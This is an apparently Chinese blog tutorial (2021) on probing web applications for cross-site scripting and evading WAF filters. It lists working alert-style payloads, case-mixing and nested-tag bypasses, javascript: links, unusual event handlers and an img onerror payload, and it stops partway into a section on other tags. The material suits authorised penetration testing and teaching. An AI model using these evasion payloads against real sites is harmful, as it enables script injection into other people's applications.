XSS与WAF规则探测及绕过技术

Posted 2021-04-29 唐山程序员

{初始测试}

1、使用无害的payload，类似<b>,<i>,<u>观察响应，判断应用程序是否被html编码，是否标签被过滤，是否过滤<>等等；

2、如果过滤闭合标签，尝试无闭合标签的payload（<b,<i,<marquee）观察响应；

3、尝试以下的payload

<script>alert(1);</script>

<script>prompt(1);</script>

<script>confirm(1);</script>

<script >

判断是否触发过滤规则，尝试使用大小写混合字符

<scRiPt>alert(1);</scrIPt>

1、如果大小写不行的话，<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>；

2、使用<a>标签测试

<a  href=“http://www.google.com">Clickme</a>

<a被过滤？

href被过滤？

其他内容被过滤？

如果没有过滤尝试使用<a href=”javascript:alert(1)”>Clickme</a>

尝试使用错误的事件查看过滤<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>

HTML5拥有150个事件处理函数，可以多尝试其他函数<body/onhashchange=alert(1)><a href=#>clickit

{测试其他标签}

src属性

<img src=x  onerror=prompt(1);>